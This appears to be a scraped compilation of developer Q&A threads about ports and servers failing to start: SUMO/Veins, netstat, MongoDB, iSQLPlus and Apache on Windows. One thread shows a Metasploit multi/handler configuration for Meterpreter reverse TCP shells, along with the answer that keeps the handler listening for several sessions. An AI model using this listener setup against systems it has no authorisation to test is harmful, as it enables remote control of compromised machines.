error in final step of veins tutorial - omnet++

When I run the command to start SUMO,it prints Listening on port 9999 and starts directly to print also :
Handling connection from 127.0.0.1 on port 63825
Got Traci message of length 1347375952
Got Traci command of length 31
Got Traci command 0x2f
Aborting on error:Expected CMD-FILE_SEND(0x75),but got 0x2f
Closing connection from 127.0.0.1 on port 63825
Connection from 127.0.0.1 on port 63826
Handling connection from 127.0.0.1 on port 63826
Got........
And so one
Instead of waiting for the simulation to start.
And it continues to print the same error message even if I start the simulation or I close the simulation.
So the same error message continues to be printed on the command terminal until I close it.
What is wrong? And someone knows how can I fix this problem?

Your system seems to run another program that tries to connect to TCP port 9999. Independent of whether you are running this program knowingly or if it is malware, either shutting down the conflicting program or changing the sumo-launchd.py port number will help. See the sumo-launchd.py documentation for how to change its port number.

Netstat failed to show result

I am trying to run an application on port 8080 but I received a message that says "Web server failed to start. Port 8080 was already in use." I tried to access localhost:8080 on my browser and it says "unable to connect". I searched on how to handle this problem and it was to kill whatever activity is going on in port 8080. It didn't work. I tried the command netstat -a -n -o | find "8080" and netstat -ano | findstr :, but it didn't produce any results. I even tried to run as administrator but it still wouldn't show any results. According to the solutions that I found, I expect to find something along the lines of TCP and LISTENING. I accessed localhost:8080 a couple of days back and it was fine. Can anyone tell me what went wrong?
picture attached
The only recent changes I made was to enable VMX on my laptop a few days ago. Other than that, I did not change nor configure any settings whatsoever.
Simply running "netstat -ab" will display all ports taken. Try to run it and see which process is using port 8080. It always lists all ports taken.

execute run -jz once for multiple connections

I am using following code to waiting client connect.
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.56.1
set lport 4444
run -jz
The question is: port listening was stopped after one connection was established. It cause subsequent connection failed. I have to type run -jz manually again and again after connection established.
Is there any way to continue listening to the port with just typing command once?
ps: Manjaro Llinux with Metasploit5-dev
Found the solution: execute "set ExitOnSession false" before "run -jz". that's what I need.

Mongodb on Terminal keeps getting stuck

I have a Macbook Pro with El Capitan. I installed mongodb on my terminal with macports, which is similar to homebrew. I've followed all of the instructions and I've made sure to change the user permissions to /data/db. Does anyone have any idea of what's wrong with my mongodb installation?
Whenever I try to run "mongod", it keeps pausing at "waiting for connections on port 27017". This is shown in Screenshot 1. Then I hit CTRL-C to exit, and I get more error messages shown in Screenshot 2. Also the "mongo" command does not work either.
Here is the error report shown when entering "mongo".
MongoDB shell version: 3.0.8
connecting to: test

Here is a link to my google drive with a photos of the error report for "mongod".

Whenever I try to run "mongod", it keeps pausing at "waiting for connections on port 27017".
This is exactly what it is supposed to do. Unless you indicate otherwise via a command switch (such as "--fork"), running "mongod" starts up the mongo server process within the current shell and blocks that shell until the process is terminated (via CTRL+C).
If you want to connect to the running mongo server process via the mongo shell, you'll need to open a second terminal to do so. From there, run "mongo" and it should connect to the server running in the first terminal shell.
Re-cap:
In terminal #1, run "mongod". When it says "waiting for connections...", it's ready to accept client connections. Do not stop the process via CTRL+C; do not close that terminal.
In terminal #2, run "mongo". It should connect to the server successfully.
This "connection refused" message is significant:
2016-01-11T19:08:41.888-0600 W NETWORK Failed to connect to 127.0.0.1:27017, reason: errno:61 Connection refused
You need to work with the packet filter to flush all the rules. See this article near the bottom in order to open port 27017 which is what mongod uses:

iSQLPlus not starting on Port 80

I am trying to change the port for iSQLPlus on my Oracle DB server, by making changes in the file http-web-site.xml.
When I change the port to 80, in this file, the iSqlPlus doesn't start. I can nether connect over a browser or telnet to it, even from the host machine itself. On the command line, however, it does not give any errors.
I have tried changing it to other ports that is 8080 and 5560, it is running fine with no problems there.
I am using Oracle 10.2.0_10.
If on Unix you need to be root to run a service with port under 1024
For a more complete answer see https://serverfault.com/questions/38461/is-there-still-a-reason-why-binding-to-port-1024-is-only-authorized-for-root-on

Windows could not start the Apache2 on Local Computer - problem

During the installation of Apache2 I got the following message into cmd window:

Apache2.2 service is successfully
installed. Testing httpd.conf....
Errors reported here must be corrected
before the service can be started.

and after installing everything look fine, but it isn't. If I try to start service I got the following message:

review the System Event Log. If this

Apach2 version is 2.2.9
Does anyone have the same problem, or could help me.
There is some other program listening on port 80, usual suspects are
Skype (Listens on port 80)
NOD32 (Add Apache to the IMON exceptions' list for it to allow apache to bind)
Some other antivirus (Same as above)
Way to correct it is either shutting down the program that's using the port 80 or configure it to use a different port or configure Apache to listen on a different port with the Listen directive in httpd.conf. In the case of antivirus configure the antivirus to allow Apache to bind on the port you have chosen.
Way to diagnose which app, if any, has bound to port 80 is run the netstat with those options, look for :80 next to the local IP address (second column) and find the PID (last column). Then, on the task manager you can find which process has the PID you got in the previous step. (You might need to add the PID column on the task manager)

Run the httpd.exe from the command line to get an accurate description of the problem.
I had the same error message and it turned out to be a miss configured ServerRoot path. Even after running setup_xampp.bat the httpd.conf had the wrong path.
My error.log was empty and starting the service does not give an informative error message.
the better way to resolve the issue is change the port number in Apache2\conf\httpd.conf . Change the port number as fallows::: Listen 8888 and ServerName machinename:8888 .Restart the Apache server after changing the port number.
I had the same problem. I checked netstat, other processes running, firewall and changed httpd.conf, stopped antivirus, But all my efforts were in vain. :(
So finally the solution was to stop the IIS. And it worked :)
I guess IIS and apache cant work together. If anybody know any work around let us know.
Run the httpd.exe from the command line, as Tim mentioned. The path to PostgreSQL changed, nothing else was running on Port 80 and I didn't see anything in the error.log file.
I clone my boot drive/partition once the base is setup so I don't have to spend three days installing and retweaking everything. Turns I had reinstalled my WAPP stack and used very specific names/versions for PostgreSQL. Windows will not return a specific error message unless you run the command from the command line.
Follow this step it will works fine.
Go to Control panel-->Programs and features-->click Turn Windows features on and off--> see IIS is Checked Or Not If checked please unckeck IIS and restart the computer.After that Open services see Web Deployement Agent Service status if its started please stop.And also see WampAppache and WampSqlID if its not started please start manually. it will works for me.
Hi i also meet this problem today.
And the log error in the Event viewer is as following
The Apache service named reported the following error:
1.Wrapper php-cgi.exe cannot be accessed: (720005)Access is denied.
2.apache service monitor:the requested operation has failed
It is actual the access problem.So the solution as flowing is help me
change the php-cgi.exe security properties
not inheit from parent the permission...
please add the everyone user
if appache and IIS both are running at a time then there is a posibility to hang the apache service,,,,
when i stopped all IIS websites once and then restarted apache service and it works for me....Jai...
Windows Vista Home Premium operating system issue: The easiest way to resolve the issue is to change the port number in Apache2\conf\httpd.conf.
Change the port number at the following lines. 'Listen' from 80 to 8888 and 'ServerName' machinename (ex:localhost) from 80 to 8888. Save then close. Open up Apache Service Monitor and restart service or go to Computer Management > Services and locate Apache 2.2 and start or restart.
Remove apache from Control Panel and delete the apache folder from Program Files and restart the machine, then install apache again. This will solve the problem; if not do the following: Install IIS if not installed, then start IIS and stop it ... Using services start apache service... enjoy apache.
I've had this problem twice. The first problem was fixed using the marked answer on this page (thank you for that). However, the second time proved a bit more difficult.
I found that in my httpd-vhosts.conf file that I made a mistake when assigning the document root to a domain name. Fixing this solved my problem. It is well worth checking (or even reverting to a blank copy) your httpd-vhosts.conf file for any errors and typo's.
if you are using windows os and believe that skype is not the suspect, then you might want to check the task manager and check the "Show processes from all users" and make sure that there is NO entry for httpd.exe. Otherwise, end its process. That solves my problem.
Yes , i had to change the port :80 to :90 as port :80 was busy by some other system resource.
You can see the logs in the folder of Apache2.2\logs
Thanks,
Always double check httpd.conf to see if document root is correctly pointing to an existing folder
#if you have c:\your-main-folder\www\
DocumentRoot "c:/your-main-folder/www/"
#if you have c:\your-main-folder\www\sub-folder\
DocumentRoot "c:/your-main-folder/www/sub-folder/"
DocumentRoot points to a folder that must exist in your drive.
I had the same issue. when i restarted my wamp it turns to Yellow color icon but not green.
In services i stop all sql server services. after that it works for me..
Two thinks that should must be take care.
1 ) port should be different
2 ) stop those services which can be on port 80
i faced the same issue, in my case i needed to add module in httpd.conf
the file was incomplete with incorrect keywords ( like LoadModule )
go to command line, go to C:\Apache24\bin
C:\Apache24\bin > httpd.exe
the reason for the error can be known from the output of the above command
Thanks for the help guys. I found another culprit. Recently SimplifyMedia added a photo sharing option. Apparently it too uses port 80 and prevented Apache from starting up. I hope this helps someone out.
Me also coming the same problem. The solution is goto add or remove programes then click the turn windows features on or off. Turn off the IIS. That is turn off the 'Internet information services' and 'Internet information service removable web core'. I chosed the remaining features are on. Computer will ask to restart the system. Restart ur computer and then install the apache http server. I got it. Server succesfully working...
For me, this was the result of having set the document root (in httpd.conf) to a directory that did not exist (I had just emptied htdocs of a previous project).
Windows 10 - administrator account
I needed to switch the account to an admin type account, in windows services
httpd.exe -k install
fails to add setup with enough user rights.
